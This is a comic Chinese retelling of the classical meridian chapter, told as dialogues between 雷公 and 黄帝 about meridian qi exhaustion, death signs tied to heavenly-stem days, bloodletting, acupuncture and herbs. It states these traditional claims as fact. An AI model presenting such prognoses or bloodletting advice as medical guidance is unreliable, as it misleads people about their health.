“不过啊，雷公啊，我得提醒你一句啊，虽然这些穴位都有很好的调理作用，但可不是随便按按就能见效的哦！要想达到最好的效果啊，还得结合针灸、拔罐、艾灸等多种方法才行哦！而且啊，每个人的体质和病情都不一样啊，所以具体怎么调理啊，还得找专业的中医大夫才行哦！” 有一天，雷公这哥们儿，闲来无事，就跑到黄帝那儿串门儿。黄帝整天忙着研究人体奥秘，解答各种奇葩问题。这不，雷公一进门，就抛出了一个问题，把黄帝都给逗乐了。 雷公一脸认真地问：“黄帝，我一直有个问题想不明白，你说这手太阴气绝是个啥情况啊？是不是就像手机没电自动关机一样？” 黄帝一听，差点没忍住笑出声来，心想这家伙脑洞真大。不过，黄帝毕竟是黄帝，人家可是专业的，于是正色道：“雷公啊，你这问题问得好，咱们中医讲究的就是阴阳平衡、五行相生相克。手太阴肺经，那可是咱们身体里的重要经络之一，主要负责把气输送到皮毛上，让咱们的皮肤滋润有光泽，毛发也顺滑不打结。” “要说这手太阴气绝啊，就好比是肺经这个‘快递小哥’罢工不干了。你想想，快递小哥要是不送水了，咱们的皮肤和毛发还怎么保持水润呢？所以啊，一旦手太阴气绝，皮毛就会开始变干、变焦，就像被烤熟的鸭子皮一样。” 雷公一听，眼睛瞪得圆圆的，惊讶地说：“哎呀妈呀，这么严重啊！那皮毛变焦了会怎么样呢？” 黄帝微微一笑，继续科普：“皮毛变焦啊，那就是津液开始离咱们而去了。津液啊，你可以把它想象成咱们身体的保湿精华液，它要是走了，咱们的皮肤和关节可就遭殃了，会变得特别干燥，一点弹性都没有。而且啊，这津液一去不复返，咱们的指甲和毛发也会跟着遭罪，指甲会变得脆弱易断，毛发呢，也会像秋天的树叶一样，轻轻一碰就掉，还打结得厉害。” 雷公听得连连点头，一脸恍然大悟的表情：“哦~原来是这样啊！那毛折了是不是就意味着毛先死了呢？” 黄帝点头表示肯定：“没错，毛折了，那就是毛发生命的终结啊。不过呢，这事儿还没完，根据咱们中医的五行理论啊，肺属金，火克金。所以啊，要是手太阴气绝发生在丙日或者丁日，那情况就更糟糕了，因为丙丁属火，火一旺起来，金就更受不住了。这就像是你明明知道今天是个大晴天，还非要穿件毛衣出门，结果热得汗流浃背，毛衣都被烤焦了一样。” 雷公一听，哈哈大笑：“黄帝大大，你这比喻太生动形象了！这么说来，手太阴气绝还真是挺可怕的啊！那以后咱们可得好好保养肺经，别让这‘快递小哥’罢工了。” 黄帝也笑了：“那是自然，咱们中医讲究的就是未病先防，治病求本。要想肺经健康，平时就得多注意呼吸新鲜空气，吃点润肺的食物，比如雪梨啊、百合啊之类的。还有啊，别忘了适当锻炼，让气血运行起来，这样肺经才能更有活力嘛。” 有一天，雷公一脸好奇地凑到了黄帝跟前，眨巴眨巴眼睛，就像个孩子发现了新大陆似的，开口就问：“嘿，黄帝大大，我有个事儿特好奇，您能给我讲讲手少阴气绝是个啥情况吗？”黄帝一听，心里暗笑，这雷公啊，平时一本正经的，没想到也有这么逗趣的一面。不过，既然人家问了，那就得好好答一答。 黄帝清了清嗓子，故作深沉地说：“雷公啊，这手少阴气绝啊，可是一门大学问呢。你得先知道，咱们中医说的手少阴，那可是指心经。心经啊，就像咱们身体里的一条高速公路，专门负责给心脏送血送氧的。要是这条高速公路堵了，你想想会咋样？” 雷公一听，眼睛瞪得圆圆的，一副恍然大悟的样子：“哦~那是不是就像我那天吃烤鸭，结果噎着了，一口气上不来，差点儿没憋死那种感觉？” 黄帝一听，差点儿没笑喷出来，这雷公，比喻倒是挺贴切。他强忍住笑意，继续说：“对对对，就是那个意思。不过啊，心经堵了可不是噎着那么简单。它会导致血脉不通，血脉不通呢，血就流不动了。血可是咱们身体的滋养品啊，它要是不流了，你想想，身体还能好吗？” 雷公挠了挠头，一脸疑惑：“那……那会咋样呢？” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝故作神秘地说：“那可多了去了。比如说啊，你的头发就会失去光泽，变得干枯无光，就像秋天里的稻草一样。还有啊，你的脸也会变得黑漆漆的，跟涂了黑炭似的。这可不是简单的晒黑了哦，这是血先死了的表现！” “血先死了？”雷公一听，吓得差点儿没跳起来，“这……这血还能死？” 黄帝哈哈大笑，拍了拍雷公的肩膀：“别急别急，听我慢慢道来。这里的血先死，不是说血真的死了，而是说它的功能丧失了，不能滋养身体了。就像你养了一盆花，要是不给它浇水施肥，它是不是就会枯萎啊？” 雷公点了点头，一副若有所思的样子。 黄帝接着说：“所以啊，手少阴气绝，就会导致血脉不通，血脉不通就会导致血不能滋养身体，身体就会出现各种问题。至于你说的壬笃癸死，那是根据五行学说来的。壬癸属水，心属火，水胜火嘛，所以心经出了问题，到了壬癸日就会更加严重，甚至危及生命。” 雷公一听，恍然大悟：“哦~原来是这样啊！看来咱们中医的理论还真是深奥啊，得好好学学才行。” 黄帝点了点头，一脸欣慰：“是啊，中医这门学问啊，博大精深，需要咱们不断学习和探索。不过呢，也别把它想得太复杂，就像咱们平时吃饭睡觉一样，只要掌握了规律，就能轻松应对了。” 经脉篇第十（八） 话说有一天，雷公这家伙又跑来找黄帝老师请教问题了。他一脸严肃，仿佛要解开宇宙最大的谜团一样，开口就问：“黄帝啊，我一直有个问题想不明白，就是那个足太阴气绝的事儿，您能给我讲讲不？” 黄帝一听，心里暗笑，这雷公啊，总是对这些问题充满好奇。但他还是一本正经地说：“雷公啊，这事儿可说来话长了。足太阴气绝啊，那可是个大问题。你想啊，足太阴脾经，那可是咱们身体的后勤部长，负责给全身输送营养和气血的。一旦它气绝了，那就相当于后勤部长罢工了，你说麻烦不麻烦？” 雷公一听，眼睛瞪得圆圆的，好像发现了新大陆一样：“啊？这么严重？那具体会怎么样呢？” 黄帝捋了捋胡子，开始娓娓道来：“足太阴气绝啊，首先受影响的就是咱们的口唇。口唇啊，那可是肌肉的本钱，是展示咱们身体健康状况的小窗口。你想啊，平时咱们看一个人嘴唇红润有光泽，那就知道这家伙身体倍儿棒。但要是足太阴气绝了，那气血就供不上来了，口唇就得挨饿了。” “挨饿？口唇还会挨饿？”雷公一听，眼睛更亮了，仿佛发现了什么不得了的事情。 黄帝点了点头，继续说到：“对啊，口唇挨饿，那肌肉就得遭殃了。肌肉得不到气血的滋养，就会变得软绵绵的，像一样。你想啊，平时咱们身上的肌肉都是硬邦邦的，有力气。但现在呢，变得软绵绵的，那得多奇怪啊！” 雷公一听，忍不住笑了出来：“哈哈，那岂不是变成了‘软妹子’肌肉了？” 黄帝也被逗乐了，但他还是赶紧把话题拉回来：“咳咳，言归正传啊。肌肉变软之后呢，舌头就会开始萎缩，人中部位也会变得满满的。人中满满的啊，那就像个小水库一样，把气血都给堵住了。这样一来，口唇就得翻起来了，像个小鸭子嘴巴一样。” “小鸭子嘴巴？”雷公一听，笑得前仰后合，“这也太形象了吧！那翻起来的口唇意味着什么呢？” 黄帝老师叹了口气，说到：“这就意味着肉先死了啊。你想啊，口唇是肌肉的本钱，口唇都翻起来了，那肌肉还能活吗？所以啊，这足太阴气绝啊，可是个大问题，得赶紧想办法解决才行。” 雷公一听，收起了笑容，认真地点了点头：“原来如此啊，看来我得好好记住这个教训了。那黄帝，您说这足太阴气绝的人，大概多久会挂掉呢？” 黄帝老师想了想，说到：“这可得看具体情况了。一般来说呢，甲日病情会加重，到了乙日嘛，那可能就得说拜拜了。这也是五行相克的道理啊，木胜土嘛。你想啊，足太阴脾经属土，但现在木气太旺，把土都给克死了，那还能有好果子吃吗？” 雷公一听，恍然大悟：“原来如此啊！看来我得好好学学这五行相克的道理了，不然以后还得闹出更多笑话来。” 黄帝看着雷公认真的样子，心里也很高兴：“嗯，雷公啊，你能这么想就对了。中医啊，可是个大学问，得慢慢学，慢慢悟。等你把这五行相克的道理搞明白了，那你就算入门了。” 雷公一听，眼睛又亮了起来：“嘿嘿，黄帝老师，那您就多教教我呗！我这人别的不行，但学东西可是很快的！” 黄帝笑着点了点头：“好，好，那我就多教教你。不过啊，你得记住，学医可不是一朝一夕的事，得持之以恒才行。” 有一天，雷公这家伙，一脸好奇地凑到了黄帝跟前，眨巴着他那双电闪雷鸣般的大眼睛，问道：“嘿，黄帝大佬，我一直特想知道，要是足少阴经的气儿没了，会是个啥情况呢？”黄帝一听，这雷公今儿个是求知欲爆棚啊，于是慢悠悠地捋了捋他那飘逸的胡须，开始给雷公上起了生动一课。 黄帝清了清嗓子，缓缓道来：“这足少阴啊，其实就是咱们的肾经。肾经要是绝了气儿，那可不得了，整个人的骨头就得跟秋天的枯枝似的，干巴巴的，一点水分都没有。为啥这么说呢？你看啊，肾经它就像是冬天里的暖流，悄悄地在咱们身体里流淌，专门负责给骨髓加油打气，让它们保持水嫩嫩的。骨髓要是得不到滋润，那依附在骨头上的肉啊，就像是离开了水的鱼儿，渐渐地就开始松垮垮的，跟骨头不再那么亲密无间了。” 雷公一听，眼睛瞪得跟铜铃似的：“啊？还有这事儿？那骨肉不亲了会怎样？”黄帝嘿嘿一笑，继续说道：“骨肉不亲，那肉啊，就开始往下掉，变得软绵绵的，一点力气都没有。你想啊，咱们平时吃肉，那肉得多紧致才有嚼劲啊！可这骨肉不亲的肉，就像是放了好多天的腊肉，软绵绵的，提都提不起来。这还不算完，因为这肉软趴趴的，连带着咱们的牙齿都开始往外长，还容易积垢，看起来就像是好久没刷牙的老烟枪。头发呢，也失去了往日的光泽，变得干枯毛躁，就像是秋天被风刮过的稻草。” 雷公听得云里雾里的，眼睛瞪得圆溜溜的，终于忍不住“噗嗤”一声笑了出来，打断了黄帝的讲解：“陛下，您这说得跟变魔术似的，头发干枯、牙齿变长，这变化也太离奇了点吧？咱们得不是在讲神话故事吧？” 黄帝闻言，嘴角勾起一抹浅笑，眼神中却透着不容置疑的严肃：“哈哈，雷公啊，你可别小看了这些看似夸张的变化，它们背后藏着的学问可深着呢！在咱们中医的世界里，人体就像是一本无字天书，每一处细微的变化都是身体向我们发出的信号。” 他轻轻捋了捋胡须，继续道：“先说这头发干枯吧，咱们中医讲究‘肾其华在发’，意思就是说，头发的光泽和茂密程度，直接反映了肾气的充盈与否。肾气，那可是咱们身体的‘老本儿’，就像是大树的根系，根深才能叶茂嘛。肾气不足，头发自然就像秋天的枯草，失去了生机和光泽。这可不是小事一桩，根基不稳，大楼迟早得摇摇晃晃，咱们的身体也是一样的道理。” 雷公听得连连点头，但脸上还是带着几分疑惑：“那牙齿变长又是咋回事儿？难道说，人的牙齿还能像小树苗一样，越长越高？” 黄帝笑着摇了摇头：“牙齿变长，其实是牙龈在悄悄‘撤退’。牙龈得不到足够的肾气滋养，就会变得松软无力，慢慢退缩，这样一来，原本被牙龈包裹得严严实实的牙齿，就露了出来，看起来就像是‘长高’了一样。这其实是身体在向我们发出警告，告诉你，肾气不足，身体的防御系统已经开始出现问题了，得赶紧想办法补补了。” 说到这里，黄帝突然话锋一转，语气中带着几分神秘：“而且啊，这足少阴肾经要是绝了气儿，还有个特别有意思的现象，那就是戊日病情会加重，到了己日，嘿，人就没了。这事儿啊，得从五行说起。戊己在五行里属土，土克水，这是自然界的规律。肾呢，五行属水，肾经一衰竭，那就像是池塘里的水干了，鱼儿还能活吗？土气这时候就来‘趁火打劫’了，就像是一群熊孩子看到软柿子，不上去捏一把才怪呢！所以啊，这肾经要是弱了，身体可就真的成了‘风中残烛’，一吹就灭。” 雷公听完，一脸恍然大悟的表情，感叹道：“原来如此啊！看来咱们这身体里的经络，还真是神奇得很呢！以后我可得好好保养我的肾经了，不然哪天牙齿真长出来了，那可就成妖怪了！”黄帝一听，哈哈大笑，拍了拍雷公的肩膀说：“你啊，就是爱开玩笑。不过说得没错，保养身体，确实得从经络开始。经络通了，气血才能顺畅，身体才能健康嘛！” 说到这里，咱们不妨再深入聊聊这足少阴肾经。肾经啊，它不仅是咱们身体的根基，还是咱们身体的“能量库”。肾气充足的人，精神饱满，干啥都有劲儿；肾气不足的人，那就像是霜打的茄子，蔫了吧唧的。所以啊，要想身体好，肾经得养好。 那咋养肾经呢？其实也不难，日常生活中注意以下几点就行了。首先啊，得注意保暖，别老是露着脚踝、腰啥的，寒气最容易从这些地方钻进身体里了。寒气一进来，肾经就得遭殃。其次呢，得注意饮食，多吃点黑色的食物，比如黑豆、黑芝麻啥的，黑色入肾嘛。还有啊，别忘了多喝水，水可是生命之源，也是肾经最喜欢的“饮料”。 有一天，雷公这家伙，一脸好奇宝宝的样子，跑到黄帝面前，眨巴着大眼睛问：“皇上啊！我特别想知道，那个足厥阴气绝到底是个啥情况？能不能给我讲讲？” 黄帝一听，嘿，这小子今天求知欲爆棚啊！于是，黄帝清了清嗓子，准备开启一段生动有趣的中医小课堂。 “来来来，雷公啊，你看啊，这足厥阴呢，它是咱们中医里的一条重要经脉，它就像是身体里的高速公路，专门负责运输肝的气血。而这肝呢，可不得了，它是咱们身体的‘筋之合’，就像是筋的老大，管着所有的筋。筋啊，你可别小看它，它遍布全身，就像是一根根弹力绳，支撑着咱们的骨架，让咱们能跑能跳，还能摆出各种酷炫的姿势。” 雷公一听，眼睛瞪得圆圆的，心想：这筋听起来好厉害啊！ 黄帝接着说道：“但是呢，这筋啊，它有个特点，就是喜欢聚集在阴气比较重的地方，就像是夜晚的萤火虫，喜欢往暗处飞。而且啊，这筋还跟咱们的舌头有着千丝万缕的联系，它们通过一些细小的脉络相连，就像是远程遥控一样，可以互相感应。” 雷公挠挠头，疑惑地问：“那要是足厥阴气绝了，会发生啥呢？” 黄帝笑了笑，说：“这就有意思了！你想啊，如果这条高速公路堵了，肝的气血运不过来了，那筋可就惨了，它们得不到滋养，就会变得紧绷绷的，就像是长时间没喝水的花儿，叶子都卷起来了。” “然后呢，这筋一紧绷，它就开始乱扯乱拽了。它会先把舌头扯得卷卷的，就像是吃了超级酸的东西一样；接着呢，它还会把下面的‘小宝贝’也给拽得缩回去了，就像是害羞的小乌龟，把头缩进壳里了。这时候，你看那人的嘴唇，青青的，就像是吃了青苔一样；舌头卷得跟麻花似的；再加上那缩成一团的‘小宝贝’，哈哈，这不就是筋先一步‘牺牲’了吗？” 雷公一听，笑得前俯后仰，说：“这也太逗了吧！那这是不是说，这人就快要不行了？” 黄帝点点头，说：“没错，到了这一步，情况就比较危急了。按照咱们中医的五行理论，肝属木，金克木。所以啊，要是庚日（金日）病情严重，到了辛日（金气更旺），这人可能就真的撑不住了，因为金气太旺，把肝气给压制得死死的，筋也就彻底没救了。” 雷公听完，感叹道：“原来中医这么有趣啊！以前我还以为都是一些枯燥难懂的理论呢！” 黄帝拍了拍雷公的肩膀，说：“中医啊，它不仅仅是一门科学，更是一种智慧，一种文化。它里面蕴含着无数的奥秘和乐趣，等待着我们去探索和发现。就像这足厥阴气绝的事儿，虽然听起来有点吓人，但背后却隐藏着咱们身体运行的奥秘。” “而且啊，雷公，你知道吗？这中医的理论，其实跟咱们的生活息息相关。你看，这筋就像是咱们生活中的压力，有时候压力太大，咱们就会觉得身心俱疲，就像是筋被扯得紧紧的。但是呢，只要咱们学会放松，学会调整自己的心态，就像是给筋松了绑，咱们又能活力满满地迎接新的挑战了！” 雷公一听，眼睛一亮，说：“对啊！看来我以后也得学学中医，好好调养调养自己的身体，省的哪天也被这筋给‘扯’垮了！” 黄帝听了，哈哈大笑，说：“好啊好啊！你要是能好好学中医，不仅能保护好自己的身体，说不定还能成为咱们中医界的一颗新星呢！” 经脉篇第十（九） 话说有一天，雷公这个好奇心旺盛的家伙，又跑去找黄帝聊天了。他一脸神秘地问黄帝：“嘿，黄帝，我一直有个问题想不明白，就是那个五阴气俱绝和六阳气绝，这到底是个啥玩意儿？能不能给我讲讲？” 黄帝一听，哈哈一笑，说：“哟，雷公啊，你这问题问得可是有点深奥啊。不过既然你诚心发问，那我就勉为其难地给你解释解释吧。” 黄帝清了清嗓子，开始了他那深奥又有趣的讲解：“首先啊，咱们得明白，中医里头讲的阴阳五行，那可是天地的根本，人体的基础。五行呢，就是金木水火土，对应到人体上，那就是五脏啦。而这五阴气俱绝呢，说的就是五脏的精气都耗尽了。” 雷公一听，瞪大了眼睛：“五脏精气都耗尽了？那不是完蛋了？” 黄帝点点头，笑道：“没错，就是完蛋了，但咱们得说得文雅点嘛。五阴气俱绝的时候啊，那眼睛里的眼系就会开始转，眼系一转，眼睛就开始乱转，这叫做‘目运’。目运呢，就说明这个人的神志已经先一步死了，神志一死，离真正的死亡也就不远了，估计也就一两天的事儿了。” 雷公一听，吓得直缩脖子：“妈呀，这也太吓人了吧！那六阳气绝呢？” 黄帝接着说道：“六阳气绝啊，那就是阳气和阴气彻底分离了。你想啊，阳气是咱们身体的活力，阴气是身体的滋润，它们俩要是分开了，那身体可就乱套了。这时候啊，皮肤的毛孔就会打开，开始出那种绝汗。这绝汗啊，大得跟珍珠串儿似的，一颗颗地冒出来，然后就不流了。这其实是身体的气已经先一步死了的表现。所以啊，一旦出现这种情况，那就得赶紧准备后事了，早上发现的话，晚上估计就不行了；晚上发现的话，第二天早上也就差不多了。” 雷公听得目瞪口呆：“这也太神奇了吧！那这么说来，这十二经脉要是败了，人也就差不多了？” 黄帝点点头：“没错，十二经脉是咱们身体的生命线，它们要是败了，那可真就没救了。不过啊，雷公你也别太害怕，咱们中医讲究的是预防为主，只要平时多注意调养身体，别让五脏六腑受累过度，这五阴气俱绝、六阳气绝的事儿啊，也就不会找上门来了。” 雷公一听，顿时松了口气：“哈哈，原来如此啊！看来我以后得好好保养身体了，不然真被这五阴气、六阳气给玩死了，那可就不值了。” 黄帝一听，也是哈哈大笑：“对对对，身体是革命的本钱嘛！你可得好好珍惜啊！” 说到这五阴气俱绝和六阳气绝，咱们其实还可以再深入聊聊。你想啊，这五脏六腑啊，就像咱们身体的各个部门，各有各的职能，也各有各的难处。要是哪个部门长期超负荷运转，那迟早得出问题。 比如说吧，这心脏啊，就像是咱们身体的发动机，得不停地给全身供血。要是它太累了，那可就容易得心脏病，什么心悸、心慌啊，那都是轻的，严重的还可能心肌梗死呢！所以啊，咱们平时得少熬夜、少生气，别让心脏太受累。 再比如说这肺吧，它就像是咱们身体的换气扇，得不停地给咱们提供氧气，排出废气。要是它太累了，那可就容易得肺病，什么咳嗽、气喘啊，那都是轻的，严重的还可能呼吸衰竭呢！所以啊，咱们平时得多呼吸新鲜空气，少抽烟，别让肺太受罪。 还有这肝啊、肾啊、脾胃啊，它们也都是咱们身体的重要部门，各有各的难处。咱们平时啊，真得好好对待它们，别让它们太累了。不然的话，这五阴气俱绝、六阳气绝的事儿啊，可就真有可能找上门来了。 有一天，雷公这家伙闲来无事，就跑去问黄帝：“嘿，黄帝，我一直对那个经脉十二者的事儿挺好奇的，你给我讲讲呗？”黄帝一听，笑了笑，心想这雷公平时大大咧咧的，怎么突然对中医理论感兴趣了？不过既然人家问了，那就得好好给解答一番。 黄帝清了清嗓子，开始娓娓道来：“经脉十二者啊，它们就像是隐藏在人体内的秘密通道，悄悄地穿行在肌肉之间，深藏不露，一般人是看不见的。这些经脉就像地下暗河，虽然你看不见它们，但它们确实在发挥着重要的作用。不过呢，也有那么一条经脉比较特别，它就是足太阴脾经。这家伙比较调皮，它竟然跑到外踝的上面去了，由于它这个位置比较明显，所以也就没那么容易隐藏了。” 雷公一听，眼睛一亮：“哦？这么说来，足太阴脾经就像是经脉中的叛逆少年，不按套路出牌啊！”黄帝笑着点了点头：“你这么说也没错，不过它虽然叛逆，但作用可不小。它可是负责运化水谷精微，把食物中的营养输送到全身各处的重要经脉呢。” 黄帝接着说道：“而那些浮在表面，我们能轻易看到的脉络，其实都是络脉。络脉就像是经脉的小分支，它们遍布全身，像是一张巨大的网络，把经脉和身体的各个部分紧密地联系在一起。特别是六经络手阳明、少阳的大络，它们可是从五指间开始，一直往上延伸到肘中的。这就像是我们手上的超级高速公路，把气血输送到身体的各个角落。” 雷公一听，眼睛瞪得圆圆的：“哇，这么说来，我们的手指还是身体的交通枢纽呢！”黄帝笑着拍了拍雷公的肩膀：“没错，你的想象力还挺丰富的嘛！不过话说回来，这些络脉还有一个重要的作用，那就是在我们喝酒的时候，它们可是最先受到影响的。” “喝酒？”雷公一听，顿时来了精神，“这喝酒和络脉还有关系？”黄帝点了点头：“当然有。当我们喝酒的时候，卫气会首先冲到皮肤上，然后充实到络脉中去。这样一来，络脉就会变得充盈起来。等到卫气平静下来，营气也跟着满溢，经脉就会变得盛大起来。这就是为什么我们喝酒后会感觉全身暖洋洋的，气血通畅的原因。” 雷公一听，顿时恍然大悟：“原来如此啊！看来以后喝酒也得悠着点，不然这经脉可就要承受不住了。”黄帝笑着摇了摇头：“你啊，就知道喝酒。不过话说回来，这经脉可不仅仅是喝酒的时候会受到影响，它们还会受到邪气的影响呢。” “邪气？”雷公一听，顿时紧张起来，“这邪气是什么东西？会不会很厉害？”黄帝解释道：“邪气啊，就是那些能够侵犯我们身体的病邪。它们会潜伏在经脉之中，就像是在高速公路上堵车一样，让气血无法顺畅通行。这样一来，我们的身体就会出现各种问题了。” 雷公一听，顿时吓得直冒冷汗：“这么说来，这邪气可不是什么好东西啊！那我们该怎么预防呢？”黄帝笑了笑：“其实预防邪气也不难，关键是要保持身体健康，增强自身的抵抗力。就像是我们平时要多锻炼身体，保持良好的生活习惯一样。” 雷公一听，顿时松了一口气：“原来如此啊！看来我以后得多锻炼锻炼了，不然这邪气找上门来可就麻烦了。”黄帝点了点头：“没错，身体健康才是最重要的。不过话说回来，这经脉还有一个特点，那就是它们有时候会突然跳动起来。” “突然跳动？”雷公一听，顿时又来了精神，“这是怎么回事？”黄帝解释道：“这通常是因为邪气占据了经脉，留在了经脉的末端。如果邪气不动，就会产生热邪；如果邪气不坚固，就会产生虚陷的病变。由于这种跳动与其他经脉不同，所以我们就可以根据跳动的位置来判断是哪条经脉出了问题。” 雷公一听，顿时瞪大了眼睛：“哇，这么说来，这经脉跳动就像是身体在向我们报警一样？”黄帝笑着点了点头：“没错，你可以这么理解。所以啊，我们平时要多留意身体的变化，一旦发现有什么不对劲的地方，就要及时调理身体，把病邪扼杀在摇篮之中。” 有一天，雷公心血来潮，对着黄帝，抛出了一个灵魂拷问：“黄帝，您老是如何慧眼识珠，一眼就能分辨出经脉和络脉这对孪生兄弟的不同呢？” 黄帝一听，嘴角微微上扬，心里暗想：“这小子，又想套我话呢！”不过，作为一位宽宏大量的老祖宗，黄帝还是笑眯眯地解答了起来。 “雷公啊，这事儿说起来简单，其实里面门道多着呢。经脉啊，就像是藏在身体深处的秘密通道，平时你想看都看不见，它们就像那些低调的富豪，深藏不露。但是，别看它们低调，作用可大了去了，它们是气血运行的主干道，全身的能量流动都靠它们呢！想知道经脉是虚是实，身体状况是好是坏？嘿，咱们有个绝招，就是通过手腕上的‘气口’（也就是中医把脉的地方）来感知。这就像是给身体做了一次‘心灵感应’，经脉的虚实、气血的盈亏，一目了然！” “至于络脉嘛，那就不同了，它们更像是城市里的街道，四通八达，明明白白摆在你眼前。你瞅瞅手臂上那些青筋暴起的地方，那就是络脉在向你打招呼呢！它们负责把经脉里的气血分配到身体的每一个角落，就像是快递小哥，忙忙碌碌，不可或缺。不过，比起经脉的深藏不露，络脉就显得有点‘张扬’了。” 讲到这里，黄帝突然话锋一转，笑眯眯地对雷公说：“雷公啊，我给你讲个笑话，缓解一下气氛。有一天，经脉和络脉吵架了，经脉说：‘你看看你，整天露在外面，也不怕晒黑了！’络脉一听，不乐意了：‘哼，你以为你躲在里面就了不起啊？说不定哪天被堵住了，连个求救信号都发不出来！’哈哈，这俩家伙，真是各有各的骄傲，各有各的烦恼啊！” 黄帝的笑话一出，雷公顿时笑得前仰后合，连旁边的药童都忍不住捂嘴偷笑。黄帝见状，趁热打铁，继续深入浅出地讲解起来。 “其实啊，经脉和络脉的关系，就像是高速公路和城市道路。经脉是那条连接各大城市的高速，快速、高效，但平时你看不见车流；而络脉呢，就是城市里的街道，车水马龙，热闹非凡，一眼望去，尽收眼底。它们共同构成了人体这个庞大的交通网络，让气血得以顺畅运行，维持着生命的活力。” “而且啊，别看经脉平时不显山不露水，它们要是出了问题，那可不是闹着玩的。比如说，某个经脉堵了，气血运行不畅，那相对应的五脏六腑可就要遭殃了。这就像高速公路上发生了车祸，整个交通系统都得瘫痪一半。所以啊，咱们中医讲究‘治未病’，就是要提前发现这些潜在的问题，把经脉调理得顺顺畅畅，让身体这部大机器永远保持最佳状态！” 说到这里，黄帝突然话锋又一转，神秘兮兮地对雷公说：“雷公啊，我再告诉你个小秘密，其实经脉和络脉还有一个隐藏技能——它们能跟我们的情绪互动哦！你心情好，它们就通畅；你心情不好，它们也跟着堵得慌。所以啊，保持好心情，也是对经脉络脉最好的保养呢！” 雷公一听，眼睛一亮，仿佛发现了新大陆：“哇，原来如此！看来，我得好好修炼一下我的‘情绪管理大法’了，不然哪天经脉络脉一罢工，我这条小命可就悬了！” 黄帝见状，哈哈大笑，拍了拍雷公的肩膀：“放心吧，雷公，只要你跟着我这套中医秘籍走，保证你经脉畅通无阻，络脉活力四射，活到九十九，还能跳广场舞呢！” 经脉篇第十（十） 有一天，雷公眉头紧锁，对黄帝说：“皇上，你说这些经络脉络的，我怎么就觉得那么玄乎呢？你给我讲讲清楚呗。” 黄帝一听，哈哈大笑，心想：这家伙又想套我话。于是黄帝清了清嗓子，一本正经地开讲：“来来来，听我给你细细道来。你看啊，咱们人体里的那些络脉，它们就像是城市里的小胡同，弯弯曲曲，窄窄的，根本没法直接穿过那些大马路——哦不对，是大关节。它们得绕个远路，走那些偏僻的小道，也就是‘绝道’，才能进出身体，最后再回到皮肤表层汇合。这些络脉的聚会地点啊，全都在咱们身体表面能看得见摸得着的地方，你说神奇不神奇？” 雷公一听，眼睛瞪得圆圆的，像发现了新大陆一样：“哇塞，这么说来，咱们身上的这些小胡同还挺有讲究的嘛！” 黄帝点了点头，继续他的“医学脱口秀”：“那当然啦！你比如说，要是有人经络不通，气血淤堵，咱们就得给他扎针放血。这时候，就得找那些络脉上的‘结点’，就像是胡同口的大石头，把路给堵住了。咱们把针往上一扎，淤血‘噗嗤’一下就出来了，那叫一个痛快！当然了，要是淤血太严重，连结点都看不见了，那咱们也别慌，直接上手，找个合适的地方就扎，把邪气给泻出去，淤血也就跟着流出来了。不然的话，淤血留在身体里，时间长了，就得变成痹症，那可就麻烦了。” 雷公听得津津有味，还不忘插科打诨：“哈哈，这么说来，咱们针灸大夫就像是城市里的清道夫，专门疏通这些小胡同啦！” 黄帝一听，也忍不住笑了：“对对对，你这比喻够形象！不过话说回来，咱们这针灸啊，可不仅仅是疏通经络那么简单。它还能调和阴阳，扶正祛邪，那作用大了去了！” 说到这里，黄帝突然话锋一转：“哎，雷公啊，你说咱们要是把这些针灸理论跟中药结合起来，那效果岂不是杠杠的？” 雷公一听，眼睛又亮了：“对对对，你说说看，怎么个结合法？” 黄帝捋了捋胡子，开始他的“爆笑药方”秀：“你比如说啊，有个人气血淤堵得厉害，咱们先给他扎几针，疏通疏通经络。然后呢，再给他开一剂活血化瘀的中药，比如说桃仁、红花、川芎这些。这些药材啊，就像是身体里的清洁工，专门负责打扫那些淤血垃圾。咱们双管齐下，那效果，绝对杠杠的！” 雷公一听，笑得前仰后合：“哈哈，你这药方开得，简直比相声还逗！不过话说回来，这方法还真挺靠谱！” 黄帝一看雷公被逗乐了，心里那叫一个得意：“那当然啦！咱们医术啊，讲究的就是个对症下药，因人而异。不同的人，不同的病，那治法也得千变万化才行。就像做饭一样，同样的食材，不同的厨师能做出不同的味道来。咱们医术啊，也是一样的道理！” 有一天，雷公这家伙突发奇想，竟然跑到黄帝面前，一脸认真地说：“嘿，黄帝，我这人对奇奇怪怪的东西特别感兴趣，今天就想问问，那络脉是个啥玩意儿？您能给我讲讲不？” 黄帝一听，哈哈一笑，心想这家伙还真是个好奇宝宝，于是慢悠悠地说：“哟，雷公啊，你这问题问得好！要说这络脉啊，那可是咱们人体里的秘密通道，就像是城市里的地下水道，虽然看不见，但作用大着呢！你想啊，要是水道堵了，城市不就乱套了？咱们人体的络脉要是堵了，那身体也得乱套啊！” 雷公一听，眼睛一亮，连忙点头：“对对对，我就是想知道这络脉要是堵了，咱们怎么看出来呢？” 黄帝捋了捋胡子，开始娓娓道来：“这你可就问对人啦！要说诊断络脉啊，其实也不难。你看那络脉的颜色，要是青青的，就像被冻坏的青菜一样，那就说明体内有寒气，而且还疼得厉害呢！要是红红的，像火烧云似的，那不用说，体内肯定有热。这就像你看天气预报，看到蓝色就知道要降温，看到红色就知道要升温一样简单！” 雷公一听，哈哈大笑：“黄帝，您这比喻打得真是绝了！那要是看到黑色的呢？” 黄帝一脸严肃地说：“要是看到黑色的络脉啊，那就得小心了，这可是体内有久痹之症的征兆，就像是水管里积了多年的淤泥，得赶紧清理啊！还有啊，要是络脉上红一块、黑一块、青一块的，那就说明体内寒热交加，跟唱戏的脸谱似的，变化多端！” 雷公一听，笑得前仰后合：“哈哈，黄帝大大，您这形容得太逗了！那要是络脉青青的，还特别短呢？” 黄帝叹了口气说：“要是这样的话，那就说明体内少气啊，就像是气球没吹足气一样，软绵绵的。这时候啊，咱们就得赶紧给身体充充气，不然就得蔫儿了！” 雷公一听，连忙点头：“对对对，那要怎么充气呢？是不是得吃点啥大补的东西？” 黄帝摇了摇头，笑着说：“吃东西是得吃，但更重要的是得调理气血。要说这调理气血啊，针灸可是个好东西！就像是你给气球打气，得找到那个气嘴才行。针灸就像是找到了咱们身体里的‘气嘴’，通过刺激穴位，来调整气血的运行。” 雷公一听，眼睛瞪得圆圆的：“针灸？那不是得扎针吗？疼不疼啊？” 黄帝一听，哈哈大笑：“你这家伙，就是胆小！针灸啊，其实一点也不疼，就像是给身体做按摩一样。而且啊，针灸还能治病呢！就像是你家里水管堵了，找个师傅来疏通一下就行了。咱们身体里的络脉要是堵了，针灸就是那个疏通师傅！” 